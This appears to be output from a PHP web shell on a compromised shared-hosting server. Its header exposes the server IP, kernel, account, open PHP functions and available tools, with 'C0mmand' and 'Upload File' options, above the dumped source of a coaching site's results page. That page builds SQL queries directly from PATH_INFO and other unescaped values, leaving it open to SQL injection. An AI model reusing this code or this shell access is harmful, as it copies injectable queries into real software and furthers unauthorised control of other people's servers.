Server IP : 103.53.40.154 / Your IP : 3.138.36.168 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/leetcoaching.co.in/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include_once('admin/config.php'); $slug_name = $_GET['slug_url']; if(isset($_SERVER['PATH_INFO'])){ $slug_name=$_SERVER['PATH_INFO']; $querydt="SELECT * FROM `tbl_services` WHERE `slug_url`='$slug_name'"; $rundt = mysqli_query($db,$querydt) or die("Query Not run"); $datadt = mysqli_fetch_assoc($rundt); } ?> <!doctype html> <html class="no-js" lang="zxx"> <head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <?php include("top-link.php") ?> <title><?php echo $dataresult["site_pages_meta_title"];?> । <?php echo $datadt["meta_title"];?></title> <meta name="description" content="<?php echo $dataresult["site_pages_meta_description"];?> । <?php echo $datadt["meta_title"];?>"> <style> .carousel-indicators { bottom: 10px !important; } .carousel-indicators li { background-color: rgba(0, 0, 0, 0.5) !important; border-radius: 50% !important; width: 10px !important; height: 10px !important; margin: 0 5px !important; cursor: pointer !important; } .carousel-indicators .active { background-color: rgba(0, 0, 0, 0.9) !important; } </style> </head> <body> <?php include("header.php"); ?> <main> <div class="it-breadcrumb-area it-breadcrumb-bg" data-background="<?php echo $wspath;?>assets/img/breadcrumb/breadcrumb.jpg"> <div class="container"> <div class="row "> <div class="col-md-12"> <div class="it-breadcrumb-content z-index-3 text-center"> <div class="it-breadcrumb-title-box"> <h1 class="it-breadcrumb-title" style="font-size:30px;">Result <?php echo $datadt['name'];?></h1> </div> <div class="it-breadcrumb-list-wrap"> <div class="it-breadcrumb-list"> <span><a href="<?php echo $wspath;?>">Home</a></span> <span class="dvdr">//</span> <span>Result <?php echo $datadt['name'];?></span> </div> </div> </div> </div> </div> </div> </div> <section id="resulttt"> <div class="container py-4"> <div class="row"> <?php $gid=$datadt['id']; $year_query = "SELECT DISTINCT `year` FROM `tbl_gallery` WHERE g_id='$gid'"; $year_result = mysqli_query($db, $year_query); while ($year_row = mysqli_fetch_assoc($year_result)) { $year = $year_row['year']; ?> <h2 class="text-center result-heading mt-4 mb-4"><?php echo $datadt['name'];?> <?php echo $year; ?> TOP RANKERS </h2> <div class="col-lg-3"></div> <div class="col-lg-6"> <div id="carouselExampleControls<?php echo $year; ?>" class="carousel slide" data-bs-ride="carousel"> <div class="carousel-inner"> <?php $image_query = "SELECT `image` FROM `tbl_gallery` WHERE `year`='$year'"; $image_result = mysqli_query($db, $image_query); $count = 0; while ($image_row = mysqli_fetch_assoc($image_result)) { $image = $image_row['image']; $count++; ?> <div class="carousel-item<?php echo ($count == 1) ? ' active' : ''; ?>"> <img src="<?php echo $wspath;?>admin/images/gallery/<?php echo $image; ?>" class="d-block w-100" alt="..."> </div> <?php } ?> </div> <button class="carousel-control-prev" type="button" data-bs-target="#carouselExampleControls<?php echo $year; ?>" data-bs-slide="prev"> <span class="carousel-control-prev-icon" aria-hidden="true"></span> <span class="visually-hidden">Previous</span> </button> <button class="carousel-control-next" type="button" data-bs-target="#carouselExampleControls<?php echo $year; ?>" data-bs-slide="next"> <span class="carousel-control-next-icon" aria-hidden="true"></span> <span class="visually-hidden">Next</span> </button> </div> </div> <div class="col-lg-3"></div> <?php } ?> </div> </div> </section> </main> <?php include("footer.php"); ?> </body> </html>